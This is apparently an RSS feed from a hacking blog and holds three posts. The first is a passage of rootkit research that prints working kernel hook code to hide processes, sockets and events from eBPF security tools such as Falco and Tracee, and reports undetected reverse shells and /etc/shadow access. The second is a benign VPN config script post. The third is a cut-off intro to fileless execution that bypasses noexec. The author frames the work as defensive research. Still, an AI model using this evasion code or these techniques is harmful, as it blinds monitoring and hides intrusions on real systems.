    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">task_struct</span> *<span class="hljs-title">task</span>;</span>

    <span class="hljs-keyword">if</span> (!orig_bpf_iter_run_prog || !ctx)
        <span class="hljs-keyword">goto</span> passthrough;

    <span class="hljs-comment">// Check if this is a TCP socket iterator</span>
    tcp_ctx = (struct bpf_iter_ctx_tcp *)ctx;
    <span class="hljs-keyword">if</span> (tcp_ctx &amp;&amp; tcp_ctx-&gt;sk_common) {
        sk = tcp_ctx-&gt;sk_common;

        <span class="hljs-keyword">if</span> ((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span>)sk &gt; PAGE_SIZE) {
            <span class="hljs-keyword">if</span> (should_hide_socket_port(sk)) {
                <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;  <span class="hljs-comment">// Skip this socket</span>
            }
        }
    }

    <span class="hljs-comment">// Check if this is a UDP socket iterator</span>
    udp_ctx = (struct bpf_iter_ctx_udp *)ctx;
    <span class="hljs-keyword">if</span> (udp_ctx &amp;&amp; udp_ctx-&gt;udp_sk) {
        udp_sk = udp_ctx-&gt;udp_sk;

        <span class="hljs-keyword">if</span> ((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span>)udp_sk &gt; PAGE_SIZE) {
            sk = &amp;udp_sk-&gt;inet.sk.__sk_common;

            <span class="hljs-keyword">if</span> (should_hide_socket_port(sk)) {
                <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;  <span class="hljs-comment">// Skip this socket</span>
            }
        }
    }

    <span class="hljs-comment">// Check if this is a task iterator</span>
    task_ctx = (struct bpf_iter_ctx_task *)ctx;
    <span class="hljs-keyword">if</span> (task_ctx &amp;&amp; task_ctx-&gt;task) {
        task = task_ctx-&gt;task;

        <span class="hljs-keyword">if</span> ((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span>)task &gt; PAGE_SIZE &amp;&amp; task-&gt;pid &gt; <span class="hljs-number">0</span>) {
            <span class="hljs-keyword">if</span> (is_child_of_hidden_process(task-&gt;pid)) {
                <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;  <span class="hljs-comment">// Skip this task</span>
            }
        }
    }

passthrough:
    <span class="hljs-keyword">return</span> orig_bpf_iter_run_prog(prog, ctx);
}
</code></pre>
<p><strong>How This Defeats Detection:</strong></p>
<p>When GhostScan or Decloaker use BPF iterators to enumerate processes or network connections, our hook intercepts each iteration. For hidden PIDs or network connections, we return 0 (skip), preventing the eBPF program from ever seeing that object. The security tool thinks it’s seeing the complete system state, but we’ve selectively filtered the view.</p>
<p><strong>Hooking seq_file Output:</strong></p>
<p>Iterators also use <code>bpf_seq_write()</code> and <code>bpf_seq_printf()</code> to format output. We hook these too:</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">int</span> <span class="hljs-title">hook_bpf_seq_write</span><span class="hljs-params">(struct seq_file *seq, <span class="hljs-keyword">const</span> <span class="hljs-keyword">void</span> *data, u32 len)</span>
</span>{
    <span class="hljs-keyword">const</span> u32 *pid_data;
    <span class="hljs-keyword">int</span> i;

    <span class="hljs-keyword">if</span> (!orig_bpf_seq_write)
        <span class="hljs-keyword">return</span> -ENOSYS;

    <span class="hljs-keyword">if</span> (!data || len &lt; <span class="hljs-keyword">sizeof</span>(u32))
        <span class="hljs-keyword">goto</span> passthrough;

    <span class="hljs-comment">// Scan the data for PIDs</span>
    pid_data = (<span class="hljs-keyword">const</span> u32 *)data;
    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &lt; (len / <span class="hljs-keyword">sizeof</span>(u32)) &amp;&amp; i &lt; <span class="hljs-number">16</span>; i++) {
        u32 potential_pid = pid_data[i];

        <span class="hljs-keyword">if</span> (potential_pid &gt; <span class="hljs-number">0</span> &amp;&amp; potential_pid &lt; <span class="hljs-number">4194304</span>) {
            <span class="hljs-keyword">if</span> (is_child_of_hidden_process((<span class="hljs-keyword">int</span>)potential_pid)) {
                <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;  <span class="hljs-comment">// Block this write</span>
            }
        }
    }

passthrough:
    <span class="hljs-keyword">return</span> orig_bpf_seq_write(seq, data, len);
}
</code></pre>
<h2 id="heading-filtering-ringbuffer-events">Filtering Ringbuffer Events</h2>
<p>Falco and Tracee heavily rely on ringbuffers for event streaming. By hooking ringbuffer operations, we can prevent events related to our processes from reaching userspace.</p>
<p><strong>Falco Event Structure:</strong></p>
<pre><code class="lang-c"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">falco_event_hdr</span> {</span>
    u64 ts;
    u64 tid;
    u32 len;
    u16 type;
    u32 nparams;
} __attribute__((packed));

<span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">bool</span> <span class="hljs-title">is_falco_event</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *data, u64 size)</span>
</span>{
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">falco_event_hdr</span> *<span class="hljs-title">hdr</span>;</span>

    <span class="hljs-keyword">if</span> (!data || size &lt; <span class="hljs-keyword">sizeof</span>(struct falco_event_hdr))
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;

    hdr = (struct falco_event_hdr *)data;

    <span class="hljs-comment">// Validate event structure</span>
    <span class="hljs-keyword">if</span> (hdr-&gt;type &gt;= <span class="hljs-number">1</span> &amp;&amp; hdr-&gt;type &lt;= <span class="hljs-number">400</span> &amp;&amp;
        hdr-&gt;len &gt; <span class="hljs-number">0</span> &amp;&amp; hdr-&gt;len &lt; <span class="hljs-number">65536</span> &amp;&amp;
        hdr-&gt;nparams &lt; <span class="hljs-number">20</span>) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
}
</code></pre>
<p><strong>Hooking bpf_ringbuf_output:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">long</span> <span class="hljs-title">hook_bpf_ringbuf_output</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *ringbuf, <span class="hljs-keyword">void</span> *data, u64 size, u64 flags)</span>
</span>{
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">falco_event_hdr</span> *<span class="hljs-title">hdr</span>;</span>
    <span class="hljs-keyword">int</span> pid;

    <span class="hljs-keyword">if</span> (!orig_bpf_ringbuf_output)
        <span class="hljs-keyword">return</span> -ENOSYS;

    <span class="hljs-keyword">if</span> (!data || !ringbuf)
        <span class="hljs-keyword">goto</span> passthrough;

    <span class="hljs-comment">// Check if this looks like a Falco event</span>
    <span class="hljs-keyword">if</span> (!is_falco_event(data, size))
        <span class="hljs-keyword">goto</span> passthrough;

    hdr = (struct falco_event_hdr *)data;
    pid = (<span class="hljs-keyword">int</span>)(hdr-&gt;tid &amp; <span class="hljs-number">0xFFFFFFFF</span>);

    <span class="hljs-comment">// If this event is from a hidden process, drop it</span>
    <span class="hljs-keyword">if</span> (is_child_of_hidden_process(pid)) {
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }

passthrough:
    <span class="hljs-keyword">return</span> orig_bpf_ringbuf_output(ringbuf, data, size, flags);
}
</code></pre>
<p><strong>Hooking bpf_ringbuf_reserve:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">void</span> *<span class="hljs-title">hook_bpf_ringbuf_reserve</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *ringbuf, u64 size, u64 flags)</span>
</span>{
    <span class="hljs-keyword">pid_t</span> pid;

    <span class="hljs-keyword">if</span> (!orig_bpf_ringbuf_reserve)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">NULL</span>;

    pid = current-&gt;tgid;

    <span class="hljs-comment">// Deny ringbuffer allocation for hidden processes</span>
    <span class="hljs-keyword">if</span> (is_child_of_hidden_process(pid)) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">NULL</span>;
    }

    <span class="hljs-keyword">return</span> orig_bpf_ringbuf_reserve(ringbuf, size, flags);
}
</code></pre>
<p><strong>Hooking bpf_ringbuf_submit:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">void</span> <span class="hljs-title">hook_bpf_ringbuf_submit</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *data, u64 flags)</span>
</span>{
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">falco_event_hdr</span> *<span class="hljs-title">hdr</span>;</span>
    <span class="hljs-keyword">int</span> pid;

    <span class="hljs-keyword">if</span> (!orig_bpf_ringbuf_submit)
        <span class="hljs-keyword">return</span>;

    <span class="hljs-keyword">if</span> (!data)
        <span class="hljs-keyword">goto</span> passthrough;

    <span class="hljs-keyword">if</span> (!is_falco_event(data, <span class="hljs-number">0</span>))
        <span class="hljs-keyword">goto</span> passthrough;

    hdr = (struct falco_event_hdr *)data;
    pid = (<span class="hljs-keyword">int</span>)(hdr-&gt;tid &amp; <span class="hljs-number">0xFFFFFFFF</span>);

    <span class="hljs-comment">// Drop submission for hidden processes</span>
    <span class="hljs-keyword">if</span> (is_child_of_hidden_process(pid)) {
        <span class="hljs-keyword">return</span>;
    }

passthrough:
    orig_bpf_ringbuf_submit(data, flags);
}
</code></pre>
<p><strong>How This Defeats Detection:</strong></p>
<p>Falco and Tracee see syscall events, process creation, file access, and network activity through ringbuffers. By intercepting at three points (reserve, output, submit), we ensure that events from hidden processes never make it to the ringbuffer. From Falco’s perspective, these processes simply don’t exist.</p>
<h2 id="heading-blocking-perf-event-submission">Blocking Perf Event Submission</h2>
<p>Older tools and some Falco configurations still use perf events instead of ringbuffers. We hook these too.</p>
<p><strong>Hooking perf_event_output:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">int</span> <span class="hljs-title">hook_perf_event_output</span><span class="hljs-params">(struct perf_event *event, 
                                          struct perf_sample_data *data,
                                          struct pt_regs *regs)</span>
</span>{
    <span class="hljs-keyword">pid_t</span> pid;

    <span class="hljs-keyword">if</span> (!orig_perf_event_output)
        <span class="hljs-keyword">return</span> -ENOSYS;

    pid = current-&gt;tgid;

    <span class="hljs-comment">// Drop perf events for hidden processes</span>
    <span class="hljs-keyword">if</span> (is_child_of_hidden_process(pid)) {
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-keyword">return</span> orig_perf_event_output(event, data, regs);
}
</code></pre>
<p><strong>Hooking perf_trace_run_bpf_submit:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">void</span> <span class="hljs-title">hook_perf_trace_run_bpf_submit</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *raw_data, <span class="hljs-keyword">int</span> size,
                                                    <span class="hljs-keyword">int</span> rctx, struct pt_regs *regs,
                                                    struct hlist_head *head,
                                                    struct task_struct *task)</span>
</span>{
    <span class="hljs-keyword">if</span> (!orig_perf_trace_run_bpf_submit)
        <span class="hljs-keyword">return</span>;

    <span class="hljs-comment">// Check if the task is hidden</span>
    <span class="hljs-keyword">if</span> (task &amp;&amp; is_child_of_hidden_process(task-&gt;pid)) {
        <span class="hljs-keyword">return</span>;
    }

    <span class="hljs-comment">// Also check current process</span>
    <span class="hljs-keyword">if</span> (is_child_of_hidden_process(current-&gt;tgid)) {
        <span class="hljs-keyword">return</span>;
    }

    orig_perf_trace_run_bpf_submit(raw_data, size, rctx, regs, head, task);
}
</code></pre>
<h2 id="heading-manipulating-bpf-maps">Manipulating BPF Maps</h2>
<p>Security tools often use BPF maps to store process metadata, track suspicious activity, or maintain state. By hooking map operations, we can prevent our processes from being recorded.</p>
<p><strong>Hooking bpf_map_lookup_elem:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">void</span> *<span class="hljs-title">hook_bpf_map_lookup_elem</span><span class="hljs-params">(struct bpf_map *<span class="hljs-built_in">map</span>, <span class="hljs-keyword">const</span> <span class="hljs-keyword">void</span> *key)</span>
</span>{
    <span class="hljs-keyword">void</span> *ret;
    <span class="hljs-keyword">pid_t</span> pid;

    <span class="hljs-keyword">if</span> (!orig_bpf_map_lookup_elem)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">NULL</span>;

    ret = orig_bpf_map_lookup_elem(<span class="hljs-built_in">map</span>, key);

    <span class="hljs-comment">// If the map uses PIDs as keys, filter hidden PIDs</span>
    <span class="hljs-keyword">if</span> (ret &amp;&amp; <span class="hljs-built_in">map</span> &amp;&amp; <span class="hljs-built_in">map</span>-&gt;key_size == <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">pid_t</span>)) {
        pid = *(<span class="hljs-keyword">pid_t</span> *)key;

        <span class="hljs-keyword">if</span> (is_child_of_hidden_process(pid)) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">NULL</span>;  <span class="hljs-comment">// Pretend the entry doesn't exist</span>
        }
    }

    <span class="hljs-keyword">return</span> ret;
}
</code></pre>
<p><strong>Hooking bpf_map_update_elem:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">long</span> <span class="hljs-title">hook_bpf_map_update_elem</span><span class="hljs-params">(struct bpf_map *<span class="hljs-built_in">map</span>, <span class="hljs-keyword">void</span> *key,
                                               <span class="hljs-keyword">void</span> *value, u64 flags)</span>
</span>{
    u32 *pid_key;

    <span class="hljs-keyword">if</span> (!orig_bpf_map_update_elem)
        <span class="hljs-keyword">return</span> -ENOSYS;

    <span class="hljs-comment">// If this is a PID-keyed map, block updates for hidden PIDs</span>
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">map</span> &amp;&amp; <span class="hljs-built_in">map</span>-&gt;key_size == <span class="hljs-keyword">sizeof</span>(u32)) {
        pid_key = (u32 *)key;

        <span class="hljs-keyword">if</span> (is_child_of_hidden_process((<span class="hljs-keyword">int</span>)*pid_key)) {
            <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;  <span class="hljs-comment">// Silently succeed without actually updating</span>
        }
    }

    <span class="hljs-keyword">return</span> orig_bpf_map_update_elem(<span class="hljs-built_in">map</span>, key, value, flags);
}
</code></pre>
<p><strong>How This Defeats Detection:</strong></p>
<p>Security tools that track process behavior using BPF maps will never see entries for our hidden processes. When they try to look up a hidden PID, the lookup returns NULL. When they try to store data about a hidden process, the update silently fails. The tool’s logic continues to work, but it operates on an incomplete view of reality.</p>
<h2 id="heading-blocking-ebpf-program-execution">Blocking eBPF Program Execution</h2>
<p>For maximum stealth, we can also prevent eBPF programs from running when triggered by our hidden processes.</p>
<p><strong>Hooking __bpf_prog_run:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace u32 <span class="hljs-title">hook_bpf_prog_run</span><span class="hljs-params">(<span class="hljs-keyword">const</span> struct bpf_prog *prog, <span class="hljs-keyword">const</span> <span class="hljs-keyword">void</span> *ctx)</span>
</span>{
    <span class="hljs-keyword">pid_t</span> pid;

    <span class="hljs-keyword">if</span> (!orig_bpf_prog_run)
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

    pid = current-&gt;tgid;

    <span class="hljs-comment">// Don't execute eBPF programs for hidden processes</span>
    <span class="hljs-keyword">if</span> (is_child_of_hidden_process(pid)) {
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-keyword">return</span> orig_bpf_prog_run(prog, ctx);
}
</code></pre>
<p><strong>Hooking the bpf() syscall:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace asmlinkage <span class="hljs-keyword">long</span> <span class="hljs-title">hook_bpf</span><span class="hljs-params">(<span class="hljs-keyword">const</span> struct pt_regs *regs)</span>
</span>{
    <span class="hljs-keyword">int</span> cmd;
    <span class="hljs-keyword">pid_t</span> pid;

    <span class="hljs-keyword">if</span> (!orig_bpf)
        <span class="hljs-keyword">return</span> -ENOSYS;

    cmd = (<span class="hljs-keyword">int</span>)regs-&gt;di;
    pid = current-&gt;tgid;

    <span class="hljs-comment">// Hidden processes can use bpf() normally</span>
    <span class="hljs-comment">// but we could log/block specific commands here</span>
    <span class="hljs-keyword">if</span> (is_child_of_hidden_process(pid)) {
        <span class="hljs-comment">// Optional: block certain BPF commands</span>
    }

    <span class="hljs-keyword">return</span> orig_bpf(regs);
}
</code></pre>
<h1 id="heading-real-world-bypass-results">Real-World Bypass Results</h1>
<blockquote>
<p><strong>Proof-of-Concept video demonstrating these results:</strong></p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/ByEp137w3Ks">https://youtu.be/ByEp137w3Ks</a></div>
<p> </p>
</blockquote>
<h2 id="heading-falco-evasion">Falco Evasion</h2>
<p>Falco is one of the most popular eBPF-based runtime security tools. It monitors syscalls, file access, network connections, and process execution to detect threats.</p>
<p><strong>What Falco Should Detect:</strong></p>
<ul>
<li><p>Reverse shell creation</p>
</li>
<li><p>Suspicious network connections</p>
</li>
<li><p>Critical file read</p>
</li>
</ul>
<p>And common post-exploitation activity (process exec/spawn, outbound connections, and sensitive file access).</p>
<p><strong>Bypass Results:</strong></p>
<p>With our BPF hooks active:</p>
<ol>
<li><p><strong>Reverse Shell</strong>: Connected to attacker-controlled server on port 8081. Falco detected nothing.</p>
</li>
<li><p><strong>Process Execution</strong>: Spawned interactive bash shell. Falco detected nothing.</p>
</li>
<li><p><strong>File Modification</strong>: Modified and read /etc/passwd, /etc/shadow. Falco detected nothing.</p>
</li>
<li><p><strong>Network Activity</strong>: Established multiple TCP connections. Falco detected nothing.</p>
</li>
<li><p><strong>Privilege Escalation</strong>: Used rootkit’s signal-based privilege escalation (kill -59). Falco detected nothing.</p>
</li>
</ol>
<p><strong>Why The Bypass Works:</strong></p>
<p>Falco’s eBPF programs successfully attach to syscall tracepoints and execute as designed. However, every event they generate passes through kernel→userspace delivery (ring buffer / perf buffer, depending on driver/version), which we can disrupt via hooked kernel functions. Events from hidden processes are filtered before reaching Falco’s userspace agent. From Falco’s perspective, the system appears normal.</p>
<h2 id="heading-tracee-evasion">Tracee Evasion</h2>
<p>Tracee provides detailed system call tracing and event analysis. It’s designed to detect anomalous behavior and hidden processes.</p>
<p><strong>What Tracee Should Detect:</strong></p>
<ul>
<li><p>Hidden processes</p>
</li>
<li><p>Kernel module loading</p>
</li>
<li><p>Syscall anomalies</p>
</li>
</ul>
<p>And common attacker workflows (process hiding and suspicious network behavior).</p>
<p><strong>Bypass Results:</strong></p>
<p>With our BPF hooks active:</p>
<ol>
<li><p><strong>Process Enumeration</strong>: Tracee’s process listing showed no hidden processes</p>
</li>
<li><p><strong>Syscall Tracing</strong>: No syscalls from hidden processes appeared in traces</p>
</li>
<li><p><strong>Network Connections</strong>: Hidden network connections invisible to Tracee</p>
</li>
</ol>
<p><strong>Why The Bypass Works:</strong></p>
<p>Tracee relies on BPF iterators for process enumeration and ringbuffers for syscall events. Our hooks intercept both. The iterator hook ensures hidden processes never appear in enumeration. The ringbuffer hooks prevent syscall events from being recorded.</p>
<h2 id="heading-additional-tools">Additional Tools</h2>
<p><strong>GhostScan:</strong></p>
<p>GhostScan attempts to detect hidden processes by comparing different enumeration methods. It uses BPF iterators to walk the task list.</p>
<p>Result: Hidden processes remain invisible. Our iterator hooks ensure consistency across all enumeration methods.</p>
<p><strong>Decloaker:</strong></p>
<p>Decloaker tries to reveal hidden network connections by using multiple detection techniques including BPF iterators.</p>
<p>Result: Hidden connections remain invisible. Our iterator and socket filtering hooks ensure network connections on our target port never appear.</p>
<p><strong>Custom eBPF Tools:</strong></p>
<p>Several custom security tool using BPF iterators, ringbuffers, or perf events for monitoring will be equally blind to our hidden processes.</p>
<p><strong>The Hard Truth:</strong></p>
<p>If an attacker gains the ability to load kernel modules, they control the kernel’s view of reality. eBPF security tools run inside the kernel and thus cannot fully protect a compromised kernel. The only reliable defense is preventing kernel compromise in the first place.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>This research demonstrates that eBPF-based security tools, while powerful, operate under a false assumption: that kernel-level observability provides complete visibility. In reality, when an attacker achieves kernel-level access through a loaded module, they can systematically blind these tools by hooking the very mechanisms they rely on.</p>
<p><strong>My Findings:</strong></p>
<ol>
<li><p><strong>Target the data path, not the program</strong>: If you can control the kernel-side plumbing that carries events to user space, the eBPF program can “run correctly” while its output never arrives.</p>
</li>
<li><p><strong>Enumerators are just another surface</strong>: Iterator-based tools depend on <code>bpf_iter_run_prog()</code> and <code>seq_file</code> writes. Filtering there can make multiple views of the system agree on a lie.</p>
</li>
<li><p><strong>Event delivery is a choke point</strong>: Whether a tool uses ring buffer (BPF_MAP_TYPE_RINGBUF) or perf buffer (BPF_MAP_TYPE_PERF_EVENT_ARRAY), the kernel→userspace boundary creates a natural interception point.</p>
</li>
<li><p><strong>State can be selectively erased</strong>: Map lookups/updates are convenient places to make hidden PIDs appear “not found” without breaking the rest of the system.</p>
</li>
<li><p><strong>Once the kernel is hostile, observability is best-effort</strong>: eBPF improves visibility under a trusted kernel. It does not harden a compromised kernel.</p>
</li>
</ol>
<p><strong>What this PoC demonstrates:</strong></p>
<ul>
<li><p>Successfully bypassed Falco, Tracee, GhostScan, and Decloaker</p>
</li>
<li><p>Demonstrated complete process and network hiding from eBPF tools</p>
</li>
<li><p>Proved that kernel-level access fundamentally breaks the security model</p>
</li>
<li><p>Showed that observability itself can be made optional for an attacker</p>
</li>
</ul>
<p><strong>Defensive Implications:</strong></p>
<p>Security cannot rely solely on kernel-level observability. Defense-in-depth requires:</p>
<ul>
<li><p>Preventing kernel compromise through Secure Boot and signed modules</p>
</li>
<li><p>Multi-layer monitoring including network-level detection</p>
</li>
<li><p>Hardware-rooted trust and attestation</p>
</li>
<li><p>Accepting that a compromised kernel cannot secure itself</p>
</li>
</ul>
<p><strong>The Future:</strong></p>
<p>This cat-and-mouse game will continue. Security vendors will develop new detection methods. Attackers will find new bypass techniques :)</p>
<p>Bottom line: once the kernel is attacker-controlled, the system’s “ground truth” is no longer trustworthy. eBPF raises the bar under a trusted kernel, but it can’t be the last line of defense against a hostile one.</p>
<p>The real win is preventing kernel compromise in the first place (boot trust, module enforcement, and layered detection outside the host).</p>
<hr />
<p><strong>Research Resources:</strong></p>
<ul>
<li><p>Singularity Rootkit: <a target="_blank" href="https://github.com/MatheuZSecurity/Singularity">https://github.com/MatheuZSecurity/Singularity</a></p>
</li>
<li><p>Rootkit Research Community: <a target="_blank" href="https://discord.gg/66N5ZQppU7">https://discord.gg/66N5ZQppU7</a></p>
</li>
<li><p>Contact: X (@MatheuzSecurity) | Discord (kprobe)</p>
</li>
</ul>
<p><strong>Responsible Disclosure:</strong></p>
<p>This research has been conducted for educational purposes. All techniques described are intended to improve defensive capabilities by understanding attacker methodologies. The code is published to help security researchers develop better detection and prevention mechanisms.</p>
<p>If you’re a security vendor affected by these techniques, please reach out for collaboration on improved detection strategies.</p>
]]></content:encoded></item><item><title><![CDATA[Securing Multi-VPN Access]]></title><description><![CDATA[Abstract
Running multiple VPN tunnels on a system has become a de-facto standard on all of my machines since 2+ decades. Historically, these types of tunnels consisted of

OpenVPN

IPSEC

WireGuard


During a recent migration effort, I was able to el...]]></description><link>https://iq.thc.org/securing-multi-vpn-access</link><guid isPermaLink="true">https://iq.thc.org/securing-multi-vpn-access</guid><category><![CDATA[#vpn #wireguard #opsec]]></category><dc:creator><![CDATA[d1g]]></dc:creator><pubDate>Wed, 03 Dec 2025 12:24:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/PSpf_XgOM5w/upload/3c98f99d1656af0b19e04af6316da131.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-abstract">Abstract</h3>
<p>Running multiple VPN tunnels on a system has become a de-facto standard on all of my machines since 2+ decades. Historically, these types of tunnels consisted of</p>
<ul>
<li><p>OpenVPN</p>
</li>
<li><p>IPSEC</p>
</li>
<li><p><strong>WireGuard</strong></p>
</li>
</ul>
<p>During a recent migration effort, I was able to eliminate all OpenVPN and IPSEC connections and implemented fresh WireGuard connections into all relevant endpoint networks. However, handling 10+ different tunnels per machine made me think about a mechanism to organize and secure the VPN tunnel buildup and teardown process, and omit potential <a target="_blank" href="https://en.wikipedia.org/wiki/Operations_security">OPSEC</a> issues introduced by the presence of configuration files as much as possible.</p>
<h3 id="heading-requirements">Requirements</h3>
<p>We define the following requirements:</p>
<ul>
<li><p>Tunnel configs should be stored as secure as possible</p>
</li>
<li><p>Tunnel buildup and teardown should happen nearly automatically</p>
</li>
<li><p>There should be no state where an attacker can access VPN configs</p>
</li>
<li><p><strong>All of the above should be accomplished by using a single command</strong></p>
</li>
</ul>
<p>We run <a target="_blank" href="https://en.wikipedia.org/wiki/Full_disk_encryption">FDE</a> on all of our systems, but we like the approach of double-layered security as well, which is why we implement the usage of <a target="_blank" href="https://en.wikipedia.org/wiki/GNU_Privacy_Guard">GPG</a> as well to store an encrypted archive of relevant VPN configurations. This also simplifies redundant storage on potentially insecure media alot.</p>
<p>In the end, we created the following scripts to achieve all of the above:</p>
<h3 id="heading-admx-skript">ADMx Skript</h3>
<pre><code class="lang-plaintext">#!/bin/env bash
gpg -d ADMIN0.tgz.gpg &gt; ADMIN0.tgz
tar xvzf ADMIN0.tgz
chmod 600 *.conf
./VPN.sh up
rm -rf *.conf ADMIN0.tgz
exit 0
</code></pre>
<p>What this skript does, is:</p>
<ul>
<li><p>decrypt the GPG encrypted ADMIN0.tgz.gpg</p>
</li>
<li><p>extract the ADMIN0.tgz archive containing relevant VPN configs</p>
</li>
<li><p>adjust permissions to omit warning messages</p>
</li>
<li><p>establish all tunnels using another skript</p>
</li>
<li><p>remove all plaintext configurations and the archive right after</p>
</li>
</ul>
<h3 id="heading-vpn-skript">VPN Skript</h3>
<p>This is a simple one-liner to establish VPN connections to all endpoints using available configuration files:</p>
<pre><code class="lang-plaintext">for i in `ls *.conf`; do wg-quick $1 ./$i ; done
</code></pre>
<p>As you can see, the skript accepts one option, which is "up" in our example, but could also be "down" to close all established VPN tunnels w/ a single command:</p>
<h3 id="heading-summary">Summary</h3>
<p>We are now able to deploy multiple ADMINx folders in our redundant storage, each containing machine specific configurations for all relevant endpoints. Using GPG, we are able to transparently decrypt the configs only for the minimal time they are required for tunnel buildup, and immediately erase them afterwards. All of this enables us to securely establish VPN connections by running a single bash skript on the commandline:</p>
<pre><code class="lang-plaintext">./ADM0.sh
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Bypassing noexec and executing arbitrary binaries]]></title><description><![CDATA[TL;DR: Execute a binary on a Linux system when execution is not allowed (e.g. restricted PHP environment, read-only filesystem or noexec mount flag). By using only Bash and making syscall(2)’s from Bash (!) and piping the ELF binary straight from the...]]></description><link>https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries</link><guid isPermaLink="true">https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries</guid><category><![CDATA[hacking]]></category><category><![CDATA[Security]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Messede Degod]]></dc:creator><pubDate>Thu, 10 Oct 2024 10:08:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728553928101/90f33abe-9d02-458f-abd5-00c59e9be4ee.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>TL;DR:</strong> Execute a binary on a Linux system when execution is not allowed (e.g. <a target="_blank" href="https://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpini-disable-functions/">restricted PHP environment</a>, <code>read-only</code> filesystem or <code>noexec</code> mount flag). By using only Bash and making syscall(2)’s from Bash (!) and piping the ELF binary straight from the Internet into Bash’s address space - without touching the harddrive and without ptrace() or mmap()….</p>
<p>The source: <a target="_blank" href="https://github.com/hackerschoice/memexec">https://github.com/hackerschoice/memexec</a></p>
<p>Fileless execution is the process of running an executable without it touching the file system. The idea itself is not new and has been the subject of various research in the past [2].</p>
<p>Most (all?) past tricks call <a target="_blank" href="https://www.man7.org/linux/man-pages/man2/mmap.2.html">mmap(2)</a> or require <a target="_blank" href="https://man7.org/linux/man-pages/man2/ptrace.2.html">ptrace(2)</a> - and thus fail if the <code>noexec</code> mount flag is used or ptrace is prohibited.</p>
<p>While acknowledging that we stand on the shoulders of giants in this matter, we bring you a quick and reliable fileless execution trick where the only requirements are bash and a few core utils (cat, cut, base64 and dd).</p>
<p>Bash only acts as an incubator for our shellcode + backdoor (think Aliens). We also present the same functionality using <strong>Perl</strong> or <strong>PHP</strong> (which do not rely on cat, cut, base64 or dd). Additionally, the Perl-variant does not need access to <code>/proc/self/mem</code> and thus works as well inside containers). The PHP-variant is an excellent fit for all those web-cloud providers where there is no Shell access and no execution right.</p>
<p>Now why would you ever need fileless execution ?</p>
<ul>
<li><p>You don’t have permission to write to any location on the host.</p>
</li>
<li><p>You have permission to write to a location, but can't execute anything and userland-execution (ulexec or ld-linux.so) fail. (noexec).</p>
</li>
<li><p>Favourite tmpfs locations like /dev/shm have been marked as noexec.</p>
</li>
<li><p>It's generally considered a good OpSec / anti forensic practice since your binaries wont survive a reboot [3].</p>
</li>
</ul>
<p>The execution trick uses two separate techniques discovered by the community.</p>
<ol>
